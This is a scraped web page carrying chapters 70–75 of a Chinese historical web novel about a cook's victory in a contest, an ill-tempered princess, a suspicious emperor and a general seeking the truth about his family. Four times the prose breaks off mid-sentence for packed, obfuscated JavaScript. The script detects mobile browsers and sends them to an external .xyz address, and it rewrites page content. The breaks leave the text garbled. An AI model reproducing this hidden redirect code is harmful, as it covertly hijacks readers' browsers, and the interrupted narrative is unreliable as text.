“慧兰姐，快尝尝这蜜枣，不比你家私邸的小厨房味道差。”少女欢呼雀跃，连同手镯、挂佩发出悦耳轻响。 “数灵雀儿你最嘴馋。”蕙兰笑着点了点她的额头。 手帕交的姐妹们围坐一桌，幽馥的香气从周身飘散。惹得邻座少年郎们频频侧目，提起酒杯便来闲叙相酬。 婚宴礼数周全，菜品极尽奢华。 论食材珍稀金贵，有熊掌鹿筋、驼蹄鲈鱼，论厨艺复杂精细，有佛跳墙、套四宝…… 菜品摆盘也极为讲究，青花瓷、粉彩瓷的器具中色香味俱全。 翠园楼的大厨们齐上阵，锅铲都要抡冒烟了。 “琴瑟和鸣，情比金坚。” 裕和公主听到这一道道寓意独特的菜品，依旧端坐如高岭之花，仿若世间俗事皆入不得她的眼。 但衣袖下的纤纤玉手，正频繁搅动着丝帕。 大梁民风开放，礼教束缚相对较少。 青年男女们并不避讳情爱姻缘之事，春日迟迟，桃枝夭夭，宴席上的欢声笑语传来，裕和公主不免春心微漾。 故作清高的姿态，不过是浅薄伪装罢了。 翠园楼主事看透一切，目绽精芒。 他在背后悄然抚平自己衣襟上的褶皱，轻拭额角薄汗，三步并作两步躬身向前。 跪拜在地，向裕和公主谄媚问道：“尊驾有意与庶民同欢乎？” 若是公主愿意屈尊纡贵，赏脸参宴，那么翠园楼必将声名远播！ 厨艺大比岂有不赢之理？ 71. 湘西炒肉 “断然不可！”栾小将军厉声呵斥。 他撩起玄衣下摆，单膝跪地，低头行礼劝谏。 “殿下乃金枝玉叶，外间食肆来源不明，烹饪之法难合宫闱规范，若是稍有差池，危及凤体安康，臣等万死莫赎。” 裕和公主藏在广袖中的素手，愈发用力，手帕在她的揉搓下几近变形。 尽管心中不满，但她依旧身姿端然，仪态万千。 “将军言之有理。”裕和公主朱唇轻启，嘴角微微上扬，露出十分标准的，经过宫廷礼仪规训后的一抹假笑。 她盯着栾霜柏，后者一袭玄色劲装散发着冷冽的气息。 单膝跪地的动作干脆利落，却丝毫不见卑微，宽阔的双肩后展，保持着随时能起身战斗的张力。 恰似一只蛰伏的猛兽。 裕和公主无端有些惧怕。 听说他在北境带兵杀了很多人，听说粗俗的边境武夫偶尔也会茹毛饮血。 尤其近日相处，小将军认真时沉默严肃的神情颇有震慑力。 裕和公主深吸一口气，不敢辩驳。 “若要与民同乐，臣可以代替公主参宴，品鉴一番。”栾小将军不等回应，身姿轻盈地向上拔起。 随后，他从容地掸了掸衣袖微尘，转身向宴席走去。 裕和公主瞳孔微张，一口气差点呛到嗓子。 她心中怒火中烧，可碍于皇家脸面，依旧维持着僵硬的假笑。 可恶贼子，本宫一定要回禀父皇，还培养什么感情？ 这个放肆的驸马，必须换掉！ 而栾小将军迎着翠园楼主事失而复得的笑脸，径直向前走，最终潇洒自如地坐在“劳动宴”上。 虽然和桂小娘子的关系有些僵硬，但美食诱人。 栾霜柏鼻尖轻嗅，喉结微微滚动。 各种纷繁复杂的香气猛地钻进鼻腔，当中最为霸道的是丝丝缕缕的辛香。 想来是辣椒与花椒交织，碰撞出微微的麻意，刺激着沉睡的食欲。 “湘西辣椒炒肉来喽。”小学徒脆生生地报上菜名，又风风火火地跑回灶台给桂枝儿打下手，马尾辫随着动作欢快地摆动。 肉片薄厚均匀，在热油的煸炒下卷起，呈现出浅褐色。 辣椒则青红相间，热烈似火。 “咯道菜，味道好正咯！”有那凑热闹的船手尝了一口，顿时大为赞叹。 京郊码头，是大梁汇聚最多外州人的地方。 五湖四海的劳工与行商，为了生计汇聚在此，很难尝到一口正宗的家乡菜。 而桂枝儿的劳动宴，便瞄准了这一需求。 豆芽菜少年一边按吩咐照看烤鸭，一边备菜。 炭火烤炉里的鸭身饱满丰腴，散发着枣木、梨木等果木香气，当油滴落下，随着“嗞啦”一声，化为一小团闪烁的火焰。 他将翠绿的黄瓜切丝，再准备好葱条。 “得嘞小哥们儿，这甜面酱，我给您捯饬捯饬吧！”有那燕平过来的行商，热切地凑上来帮忙。 燕平烤鸭，是行商们走南闯北最难割舍的故乡羁绊之一。 栾霜柏混在人群中目光如炬，手腕轻微一抖，木便精准箸拾取一个小巧的泽州驴肉火烧。 那速度和准头，不愧为久经沙场的战士。 三下五除二吃饱喝足，栾霜柏静悄悄地观察起主厨。 只见桂枝儿娴熟地拿起蒸布，在圆形的竹制蒸笼上摊开。 她用小勺舀起在石臼中捣碎后制成的米糊，均匀地铺洒在蒸布上。 少女白皙修长的手，在光影交错中翩然起舞。 米糊上依次点缀着鲜嫩的肉沫、青翠的葱花以及整颗虾仁，桂枝儿宛如在描绘一幅细腻的山水画。 “上蒸笼。”她轻轻吆喝一声，盖上锅盖。 腾腾热气逐渐将岭南肠粉蒸熟，不一会儿，周遭便弥漫着浓郁的米香与肉类鲜香。 无需沙漏计时，桂枝儿仿佛有心灵感应一般，总能在最恰当的时机让食材出锅。 此等天分，实在让众多庖厨朝思暮想、求之不得。 扬安炒饭、河洛烩面、巴蜀家常豆腐，甚至连小众的芙城臭豆腐都一一呈现。 桂记卤味店可不只会做卤味，桂小娘子八大菜系样样精通。 桂枝儿眼眸中自信与骄傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14557960|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交织。 “今日既是劳动宴，也是四海家乡宴，感谢诸君竭尽心力致国之昌盛、民之富强。”桂枝儿的祝词简洁明了。 “大家吃好喝好！” “好！”噼里啪啦的掌声轰动。 粗布麻衣、汗巾束发的汉子们经过辛勤劳作，肚子已经饿得咕咕叫。面容黝黑的妇女，卸下装满鱼货的竹篓，也欢欣鼓舞。 众人仿佛回到了家，看见年迈的父母做了一桌好菜，招呼亲友道：“吃吧吃吧，敞开肚皮别客气。” “嘀，系统提示：任务进度99%。” 听到提示音的桂枝儿心花怒放，转身将一碗裹满汤汁的烩面推到栾霜柏面前。 “喏。”她扬了扬下巴。 “看你瞅半天了，馋就吱声儿。”桂枝儿一副我懂的表情。 “哎，我不是……”栾霜柏刚想辩驳，桂枝儿已经忙着招待八方来客去了。 少年只能又一次咽下未尽之语。 这碗烩面的精髓全在汤上，滋养的羊汤浓酽醇厚。 栾霜柏与胃部的饱腹感做了片刻斗争，终是忍不住提起筷子，先嗦一口面条，鲜香有韧劲。 再叨一口羊肉，鲜嫩酥烂的味道令人沉醉。 “算了，馋就馋吧，确实味美。”栾霜柏舔了舔嘴唇上残留的汤汁。 放眼望去，劳动宴人头攒动，密密麻麻如蚁群一般。 贩夫走卒奋力地穿梭在人群中，寻得好位置后，再大声与同伴呼喊交谈，点评丰盛菜肴。 “慧兰姐，你看隔壁宴席颇为热闹……”坐在婚宴上的少女有些心动，晃了晃金丝缠绕的手镯。 灵雀儿在家吃腻了山珍海味，乍一见地方特色菜倒十分稀奇。 “咱们也快吃饱了。”蕙兰摇了摇头，“况且那边人多杂乱，终究是不够得体。” 讲究些的贵家子弟，自幼生于朱阁绮户，衣锦食玉，自然不愿与市井之徒为伍。 劳动宴虽新奇，但参宴者大多身裹粗布敝衣，言语间都是俚俗乡音，妙龄男女们皱了皱眉，歇了过去转转的心思。 至于如何俘获他们的味蕾，桂枝儿尚有绝招。 72. 瓷碗冰沙 未时，暖阳肆意倾洒。 码头河水在日光的照耀下熠熠生辉，水面如同一面巨大的镜子，细碎金芒跳跃，晃得人睁不开眼。 调皮的孩童们耐不住热意，甩掉草鞋站在河边，用小手撩起清凉的水花直往脸上扑。 刚下船的劳工解开领口，袒露胸膛，用手中的草帽不停地扇着风。 “今岁暑气早临，暖煦之象较历年为早也。”裕和公主与裁判席上的权贵们寒暄道，“不知是否有碍农桑？” 其实她心里已经躁意渐生，只想尽快回到车辇中，躺在冰丝席上，抱着光滑青翠的竹笼消暑。 于她而言，农桑只是一个隐约的概念。 稻黍稷麦菽，全然是陌生事物，不知长于何处，亦不知要如何栽种收割。 但她贵为大梁公主，自当体恤民情。 “公主仁心宅厚，怜恤苍生，实乃社稷之福。”王公贵族们齐齐拱手，连声称赞。 裕和公主眉梢微抬，心情总算舒适一些。 眼看宴席接近尾声，她指尖不耐地叩击丝帕，唯盼大比能速速了结，莫要再这般无端消磨。 “那小瓷碗里是什么吃食？”几位眼尖的裁判，刚品评完两轮美食，恰似一只只饱食的肥硕仓鼠。 被美食撑得忘乎所以的老饕们，既赞叹翠园楼婚宴的端方雅正，也欣喜于劳动宴的市井烟火。 一时间竟难分优劣。 可这陡然出现的瓷碗，吸引了他们的视线。 那碗中似乎盛着冰粒，晶莹剔透的模样如碎玉堆砌，颜色更是多样。 或霜梨白，或蜜桃粉，或青梅翠，搭配时令鲜果，清新诱人。 “容吾尝之。”一个身形灵活的裁判反应最快，立刻挤到排队的人群中。 取得一碗后，以勺触之，沙冰簌簌作响。 “是冰，真的是冰！”他惊讶高呼，双眸瞬间瞪大。 舀一勺入口，酥麻冰爽感，顺着咽喉蔓延全身，带走暑意。冰沙于舌尖化开，口感绵密细腻，妙不可言。 馥郁果香更是点睛之笔，酸甜滋味弥漫口腔。 “暴殄天物。”翠园楼主事咬牙切齿，“且看她能制几碗冰。” 他袖手旁观，眼中满是不屑。 夏日能吃到冰，在京城权贵中并不稀奇。 只需在隆冬时节采集天然冰块，运至家中冰窖储存。用新鲜稻草铺地，再覆盖稻糠树叶隔热，最后密封窖口。 等待来年盛夏时节享用。 虽说耗费人力物力，储藏数量也有限，但总归能享用美食。 但对平民来说，这等美食绝对是神乎其技。 “活了大半辈子，头一回在大热天尝到冰的滋味，妙哉妙哉！”做糖人的老爷子小心翼翼地舀起一勺。 咽罢，凉意沁心，老人满意地眯起双眼。 “托桂小娘子的福。”泥人张也拿到一碗，尽情享受清凉，喉咙里发出喜悦的“咕噜”声。 裕和公主听见贩夫走卒哄抢冰碗的嘈杂声音，更觉得心烦意乱，秀美的面庞阴沉了三分。 简直胡闹！ 宫里负责冰政的凌人们，每年只给长公主苑分十几块冰。 说什么后宫的贵人娘娘多，父皇还要举办“颁冰礼”给官员解暑，以示天恩，所以要省着用。 可这冰，连最卑贱的平民都能敞开了食用。 她贵为公主，却处处受限。 皇家威严何在，长公主优越感何存？ 她恨不得把冰政的凌人们抓起来，逐一掌嘴杖责，否则难解心头之怨。 冰碗既出，出奇制胜。 莫说原本参加劳动宴的平民，就是隔壁的贵家子弟们也暗戳戳跑过来排队。 灵雀儿姑娘贪嘴，悠悠果香萦绕鼻端，再也忍不住，带着手帕交的姐妹们一齐倒戈。 “呵，哗众取宠。”翠园楼主事依旧嘴硬，在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642471|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看来，除非桂枝儿有妖术，否则这冰量是远远不够消耗的。 “等排队众人发现自己尝不到冰碗，自会气愤不已。”翠园楼主事傲慢道，“口碑反噬。” 万万没料到，桂枝儿存储的冰源源不断。 她仅用一把干净的小冰锤和凿具，敲敲打打，颗粒般的沙冰便已成型。 “哐当”一声脆响，冰屑四溅。 旁观的栾小将军抬手扶额，嘴角微微颤动，不忍直视。 不怪他憋着笑，桂枝儿哪里需要冰锤和凿具，她用的明明是崩云劲和破石裂空掌。 没有技巧，纯靠武力。 桂枝儿冲他眨了眨眼，灵动双眸中闪过一丝狡黠，梨涡浅现，原本英气的面庞更添几分娇俏可爱。 “表演”也是厨艺的一部分嘛。 两个小学徒分工协作，收集碎冰加入蜂蜜、鲜果切片、坚果仁等，搅拌均匀，一碗沙冰便制成了。 “怎么会……”随着时间推移，翠园楼主事额头上豆大的汗珠滚落，砸在脚下砖石上，洇出一小片水渍。 冰块不见少，他的眉头越皱越紧。 倘若此次大比再输，酒楼背后的权贵一定饶不了他。 周围百姓的欢呼声，裁判席上的赞叹声，此刻在他耳中都好似惊雷阵阵。 他呼吸急促沉重，胸膛剧烈地起伏，最终下定决心，舔了一口干燥起皮的嘴角，高呼道—— “此女定有妖术！” 否则，怎会有这么多冰块供她挥霍？ “噗。”有人见翠园楼主事狗急跳墙，忍不住哧笑出声。 子不语怪力乱神，大家即使好奇冰块来源，也只会怀疑桂小娘子背后亦有富豪权贵站台。 不知是何方势力财大气粗罢了。 面对质疑，桂枝儿风轻云淡。 因为这取之不竭的冰块，并不依赖随身空间的库存，她微微一笑，取出了一块灰白色的结晶石。 73. 硝石制冰 “小女制冰，全靠这硝石。”桂枝儿落落大方，从容笑道，“众所周知，北境梅山矿石丰富，它便是其中一宝。” 灰白色的硝石表面平滑而明亮，散发着神秘光泽。 而矿石的持有者，尽管此刻身着粗布围裙，洁净素雅，但她坦然的姿态如明珠蒙尘难掩其华，光彩夺目。 经过桂枝儿解释，众人方知硝石溶于水时会吸收大量的热，水结成冰。 只需一个小罐子与更大的盛水容器，在盛夏也能造冰。 话音刚落，围观众人先是一愣，而后台上台下炸开了锅，惊呼与议论声、质疑与夸赞声交织，向四面八方扩散。 硝石制冰，光这一个秘方，便可奠定胜局。 “断无可能！妖女休要妄言……”翠园楼主事喃喃自语。 他的双腿像被抽去筋骨，再也支撑不住身体的重量，双眼缓缓上翻，直挺挺地向后倒去。 惊恐交加下，他竟然被吓晕了。 短暂的混乱后，德高望重的黄发老者宣布—— “三局两胜，本届厨艺大比获胜者，桂记卤味店！” 实至名归，众人掌声如雷，唯有翠园楼的主厨们呆呆地伫立在场，神情沮丧。 台上，桂小娘子在两位小学徒的肩头重重一拍，以示激励。 她举手投足间散发着气定神闲、胜券在握的独特魅力，仿若世间事，皆在掌控之中。 旁观的栾小将军随众人鼓掌，眸中满是羡慕与崇拜之色。即使刻意低头，也难掩那股炽热。 前有灰白玉岩，后有硝石。 难怪樾王再三叮嘱，一定要拉拢桂姑娘。 如此良才，若不能招致麾下为王驱驰、辅佐大业，届时羽翼丰满，恐生巨变。 要么笼络成为自己人，要么除之而绝后患之忧。 容不得她独善其身。 “摆驾回宫。”裕和公主瞥见栾霜柏的神情，愤恨地打断眼前喧闹场面。 一个莫名其妙的比赛，一群愚钝无知的刁民。 还有这个令人生厌的准驸马。 她满腔怒火无处发泄。 大梁的长公主在京郊居然不是舞台中心，而百姓的视线围着一个小厨娘打转，裕和公主难以忍受此等落差。 更何况，堂堂公主连一口沙冰都吃不到。 “诺，凤驾回宫！”身披铠甲的禁军侍从恭敬唱和。 他们绝不敢怠慢长公主的命令，随即迅速整队，准备护送她回那朱墙高瓦的宫廷深处。 热闹的人群再度安静，跪地为公主让路。 “啪！”团扇重重地落在丫鬟脸颊上，扇面上的金丝织线划过皮肤，留下一道红痕。 进入落帘之后的轿辇，裕和公主再也不用伪装典雅。 “无能贱婢。”她凤目圆睁。 挨打的宫女早已习惯主子的喜怒无常。 她卑微地将另一侧脸颊递到公主手边，等待审判。 躲闪会迎来令她皮开肉绽的笞刑，哭泣会被扔进黑暗囚笼中幽闭，宫规森严，她只盼能活到大赦出宫之日。 “咳，公主殿下今日游乐可好？”一路沉默寡言的栾小将军，偏在此时搭话。 不咸不淡地聊着天，寡然无味。 “尚可。”裕和公主冷静下来，不再虐打丫鬟。 “只是本宫突然觉得，将军的才情与武略，不该放在儿女私情上。”她蛾眉轻挑，“望将军此后专注于建功立业，莫再叨扰本宫。” 裕和公主披上华丽的宫装外衫，云鬓高挽，金钗摇曳，语调却冷若冰霜。 父皇为她指派的这个驸马，她实在看不上。 “本宫自会回禀父皇。”她冷冷说道。 “哦。”栾霜柏懒洋洋地应了一声。 他身姿矫健地跨于白马上，任由墨发肆意吹拂，眼波流转间透着几分玩世不恭。 红缨枪敛起锋芒，只剩腰间悬挂的佩剑晃动。 忍辱负重陪刁蛮公主玩这几日，该打听的都打听到了，栾霜柏早已不耐。 他所图谋之事，不如再找桂姑娘商议。 而在巨龙蜿蜒盘旋的皇城深处，当今圣上更没工夫搭理小儿女家的情情爱爱。 洪水肆虐，朝堂争执不休的春汛难题，早已让他焦头烂额。 修筑河堤的圣旨颁布后，情况依然不见好转。 “上至户部工部，下至清野州县，岂以为朕不知他们消极怠政、侵吞银两？” 燥热的阳光被宫殿三交六椀菱花的窗棂隔绝。 一片阴影交错中，天子枯坐于龙椅上，面色阴鸷，双眼布满血丝。 “朕唯望先弭平灾患，而后徐徐图之，按其罪逐一惩处，他们竟皆视朕为愚氓！” 天子双目深陷，幽深仿若寒潭，从中射出的冷光令周遭空气冰结，寒意彻骨。 头戴黑色纱帽的秉笔太监匍匐在地，不敢接话。 秉笔太监奉圣上旨意在奏章上批红，故而对各地奏报了然于胸。 先是水患未除，又有岭南海防告急，大梁内忧外患。 正所谓墙倒众人推，破鼓万人捶。 “甚至连区区春闱，都要闹出幺蛾子来！”年逾不惑的天子眉峰紧皱渊壑纵横，终是压抑不住心中的恼火。 他御手一挥，玉盏迸碎在地，崩出一道细纹后炸裂， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655428|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎片飞溅。 细碎的碴片，在地面弹跳、滚动，秉笔太监不敢躲闪。 秉笔太监斟酌着，小心翼翼地劝慰道：“陛下息怒，奴才……奴才觉得，春闱作弊一案，既是卢学士检举揭发，就由他彻查即可。” 太监言语间满是惶恐不安。 此事说来颇为离奇。 本届科举的主考官——内阁大学士卢翰文，仅凭一张卷面上洇出的咸鲞油渍，就断定有人作弊。 那老学究在圣上面前哭得涕泪横流，实在不像作假。 “臣惋惜，陛下失去多少英才！”卢学士以袖掩面，双肩因抽噎而耸动不止，“被替换试卷的凌河县考生王蒲，已是第三次参加春闱。” 他喉咙间发出阵阵悲戚之声。 据他查探，那王蒲竟然还是楚淮一年一度的春日宴头名。 连在士林之中略有声望的考生，都会被掉包卷子，为那些草包学子做嫁衣，此事严重程度可见一斑。 “爱卿请起，汝所言之事，朕定当详加查究，必使真相昭然于世。”龙椅上的天子眼角眉梢勾勒出嘲讽之意。 装什么股肱忠臣，不过是怕事情败露，追究起来，连他一起杀头罢了。 生性多疑的天子只觉厌烦。 “朕要怎么查？往年春闱结果要不要查，已经入仕的世家子弟要不要查？” 打发走卢学士，天子龙颜阴沉似水。 他冷冷地盯着跪在地上的秉笔太监，俄而缓缓起身，龙袍下摆随之轻拂。 大小政务，千头万绪如乱麻。 殿内空气愈发凝重，天子愤然道：“朕最痛恨结党营私，桩桩件件，牵一发而动全身，扰得朕心烦。” 水患要治，科考要办，侵扰岭南的倭寇更不能坐视不理。 皇上背着手踱步，龙袍金纹在暗影下显得晦涩。 他的身形略显佝偻，憔悴的面容像是蒙着一层疲惫的雾霭。 “传令内务府和宗人府，加快准备公主大婚事宜。”天子话锋一转，嘴角微微下撇，“待成亲后，委任栾爱卿为讨倭将军，速往岭南扫平倭寇，靖安海疆。” 朝堂重文轻武，自从梁大将军在抗击湘西马匪时战死，更是一将难求。 虽对栾家小子身世存疑，但眼下已无人可用。 “父皇，裕和不想和那个粗鲁的武人成亲！” 等候在殿外的裕和公主听闻噩耗，索性提起华丽的锦裙，一路小跑冲了进来。 她粉面含嗔，贝齿轻咬下唇，三分娇嗔七分焦虑，发丝随着奔跑的动作有些许凌乱，更添几分楚楚动人姿态。 父皇最疼她了，必然会遂她的意。 74. 天子多疑 “吾儿貌若天仙，栾家小子确实配不上你。”天子冷峻的面容瞬间变得柔和，朗声笑道。 “但这门亲事还是要结的，一切以大局为重，不可任性。” 天子重新坐回龙椅，手指弯曲，不经意间轻叩扶手。 “父皇，女儿不愿。”裕和公主行至皇帝跟前，双手轻轻拉住龙袍衣袖，微微摇晃着，眼神中满是娇憨与委屈。 成亲有什么好的，三年前，父皇便想让她嫁与新科探花郎。 可那谢家庶子不识抬举，被贬斥楚淮。 如今又要她嫁与非世家出身的平头小兵，说是镇北先锋少将军，不过就是个只会杀人的莽夫。 “娇娇儿啊，婚后你若不满，不妨养几个面首，待到驸马平定岭南倭寇后，再休夫。” 天子宠溺地拍了拍裕和公主的手，给她吃了一颗定心丸。 国库亏空，良将难寻。 在大梁风雨飘摇之际，公主的婚事也是一桩筹码。 栾霜柏此人，本是布衣黔首家的平凡儿郎，居然在去岁武比中脱颖而出。被发配到北境边疆后，屡立战功，倒是个好苗子。 “怎么偏偏姓栾呢？”天子握扶手的指节泛白。 总归让人心有忌惮。 话已至此，裕和公主想换驸马的愿望落空，她腮帮子气得鼓鼓的，但并不敢真正忤逆皇帝。 “儿臣遵命。”她欠身施了一礼，面含失落。 正欲告退时，由于心中怨愤叠加，她看见地上跪了许久的秉笔太监，愈发不耐烦。 趁着天子闭目养神，裕和公主泄愤般，高高抬起绣花鞋，顺路踩在太监的手背上。 “噗呲。”先前被摔碎玉盏的碴片，嵌入手背的肉里。 殷红的血从伤口处渗出，秉笔太监急忙咬紧牙关，将惨叫和闷哼声咽回肚子里。 裕和公主脚下用力碾了碾，这才保持着冷漠高傲的神情离开。 只留秉笔太监颤抖地跪在地上，冷汗浸湿了他的后背。 见天子依旧闭目修养，他行了一个跪安礼，低垂着头起身，脚步轻缓沉稳地向后退去，生怕惊扰了静谧的氛围。 离开宫殿，秉笔太监蜷缩着受伤的双手，手背青筋暴起，压抑着内心的不忿。 这父女俩如出一辙地难伺候。 他大逆不道地想着。 “公公，公公请留步。”先前被皇帝打发走的内阁大学士卢翰文，不知从何处冒了出来。 “圣上有何指示？”卢学士忐忑不安地问道。 秉笔太监一个眼神扫过去，见卢学士身着绣有仙鹤图案的朝服，面容清癯，颔下长须飘然，一副体面模样。 反观自己，发丝被汗水浸湿，凌乱地贴在苍白的脸颊上，更衬出一股阴森气息。 “杂家可不敢妄自揣测圣意。”他冷哼一声，“科举舞弊乃重事，若弗能解其弊，则罪言事之人。” 秉笔太监三角眼中寒芒乍现，原本谄媚的面容扭曲，仿佛裹挟着无尽怨念与戾气。 虽然圣上没有明说，但他今日受了气，心情不好。 区区内阁大学士，恐吓他一番又如何？ 秉笔太监扭头便走。 卢学士只觉眼前一黑，仿若五雷轰顶，天旋地转。 他再也维持不住自己的风度，嘴唇不住地颤抖，双腿发软几欲瘫倒在地。 他没理解错的话，公公的意思是——如若解决不了问题，就解决提出问题的人。 自己这蝼蚁之命恐朝不保夕。 卢学士脑中翻江倒海，难道圣上不愿彻查？或许此案本就是圣上授意之下的买官卖官？ 毕竟国库空虚已不是秘密。 那么，揭露出作弊案一事的自己，反而会成为众矢之的。 总之，天塌了。 “呼。”卢学士深吸一口气。 想象中的可怕后果，将他残存的理智彻底淹没。此番祸事临头，要么不明不白含冤而死，要么青史留名。 哪怕为了九族荣誉，他也不能坐以待毙。 秉笔太监不知自己随口一句话，卢学士便脑补出一场大戏。 “告诉内务府和宗人府，把其他的都放一放，筹备裕和公主大婚才是头等要事。”他回到敬事房传天子口谕。 手中拂尘轻轻一甩，发出“啪”的一声脆响。 “干爹放心。”干儿子们低头哈腰地应道。 有那孝顺机灵的，上前为秉笔太监端茶捏肩，顺带多探听些内幕消息，以免办事时出了差错。 “干爹，依您看，圣上可满意这位驸马爷？” 秉笔太监眼神一凛，扫视众人，透露出不容置疑的威严。 虽说不能妄议天家，但眼前都是自己的亲信手下。 他用干枯的手指轻轻捏起茶盖，缓缓吹了吹茶汤表面的浮沫，沉吟道：“栾这个姓不好……” 茶汤入口，苦涩在舌尖蔓延。 秉笔太监的目光透过那氤氲水汽，望向百年前的六国战乱。 彼时，开国皇帝与经略大将军并肩作战，扫清寰宇，荡静中原。将军劳苦功高，按理可封异姓王。 先皇为了维护大梁中央集权，允诺赠予将军一半国库财宝，赐国姓，以此稳固军队。 “自梁大将军在抗击湘西马匪时战死，这一脉，应当没有后人了。”小太监殷勤地捏揉肩膀。 手法不轻不重，稳稳当当。 “哼。”秉笔太监肩头舒展，喉咙里发出一声舒服的闷哼，“那经略大将军的本姓便是——” “栾！” 万一还有旁支的漏网之鱼没死绝呢。 在这皇宫之中，天子的多疑像一张无形巨网，笼罩每个角落。 若是触碰到了敏感神经，宁可错杀，不能放过。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710788|144601||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “名义上是驸马。”秉笔太监手中的茶盖与茶碗碰撞，发出一声轻微脆响，“实际不过换个方式监视罢了。” 就像圣上曾欲监视谢家一样。 裕和公主，只是一个趁手的工具。 秉笔太监声音尖锐刺耳，脸上露出一丝阴恻的笑容。 日落西沉，皇宫的轮廓在余晖下逐渐模糊。 宫墙因夕阳的映照投下长长斜影，调皮的晚风绕了一圈，兜兜转转，又停留在长兴坊的桂记卤味店后院。 “阿嚏”一声，少年整个人猛地一仰头，身体微微颤抖。 他眼眶周边红通通的，鼻子一抽一抽，嘴巴微微张开，长吸一口气后，又是几声“阿嚏”。 上阵杀敌面不改色的栾小将军，立即缴械投降。 “干辣椒不用全掰断，留几颗整的好看一些。”桂小娘子并不关心宫闱秘事，她只在乎今天的辣卤做得香不香。 栾霜柏认命地拾起一根辣椒，它干硬而脆。 轻轻握住两端，稍用力一掰，伴随“咔嚓”声，辣椒便从中间裂开，露出里面干瘪的籽。 辛辣气味瞬间弥漫开来，刺激鼻腔。 栾霜柏的双眸被辣得流出泪花，有些狼狈。 “原来做一锅卤味工序这么复杂啊。”他看着桂枝儿娴熟的动作，心生羡慕，“姑娘新招的两个小学徒呢？” “小店做一休一。”桂枝儿答道。 她捡出少量弯月牙状的陈皮，再用小刀轻轻刮下一些肉蔻粉末。卤味配料繁多，稍有错漏，味道便会产生细微差异。 “西市卖果蔬的人家聘养了一只小猫，丫头小子都去看热闹了。”她补充解释道。 在江南，聘养一只小猫也需要简单的仪式。 新主人会带上新鲜腌制、香气浓郁的小鱼干作为聘礼，再给猫咪戴上彩色丝线编织的项圈，牢牢系住好运。 对半大小孩儿来说，可太有吸引力了。 “呃，辣椒掰完了，还有什么活儿是我能帮忙的？”栾霜柏顶着一双红红的小兔子眼，老老实实地询问。 他心中仿佛有蚂蚁在爬。 明明上次雨夜相见，二人不欢而散，但此刻的桂枝儿却仿佛无事发生。 唯余他一人心焦，暗中握紧拳头。 指甲缝里嵌进辣椒籽，疼得他又在须臾间松开，装作不经意地背在身后。 快问啊，快问小爷来京城做什么，与裕和公主之间的关系…… “暂时没有了。”桂枝儿看出栾小将军的百爪挠心，偏不问。 她将处理好的鸡爪、鸭脖等冷水下锅，再将花雕酒的瓶口倾斜，酒沿着边缘缓缓倒入锅中。 随着卤味受热，血沫逐渐浮上表面。 桂枝儿一只手稳稳地握住锅勺，轻轻把血沫舀起，撇到一旁。她不急不躁，动作从容，丝毫不顾及栾小将军纠结的心态。 75. 追查真相 少年郎还是沉不住气。 “上次并非有意冒犯。”栾霜柏眼中满是诚恳与歉意，“我此番进京，代樾王问姑娘好乃是公事，另有私事要办。” 他终于忍不住实话实说。 “私事？莫非小将军终于想通了，决定入赘公主府。”桂枝儿巧笑嫣然，眼睛弯成了月牙儿。 “姑娘快别取笑我了！”栾霜柏像一只受惊的小鹿，从肩膀到手臂，肌肉陡然紧绷起来。 原本英气的面庞瞬间涨得通红。 裕和公主金枝玉叶，他无福消受。 栾霜柏忍着内心的羞愤，娓娓道来。 “姑娘有所不知，栾某祖上因机缘巧合成为富商。”他面色逐渐严肃，“但三年前，家族恩人被害身亡。” “多方探查之下，发觉恩人死因或许与当今圣上有关。” 于是少年跨白马、携缨枪，靠着扎实的拳脚功夫，勇夺武状元。 只为来京查明真相，讨一个公道。 “可惜被裕和公主吓得直接驻守边疆？”桂枝儿笑容变得狡黠，插科打诨道。 少女心里明镜儿似的。 小将军或许没说假话，但他也一定隐藏了部分真相。 桂枝儿一边关照锅内卤味，一边脑筋飞转。 仅“富商”二字，恐怕有些谦虚。 桂枝儿联想到，小将军先前赠予她罕见的金币吊坠，猜测他们家族正是汇通钱庄背后的东家。 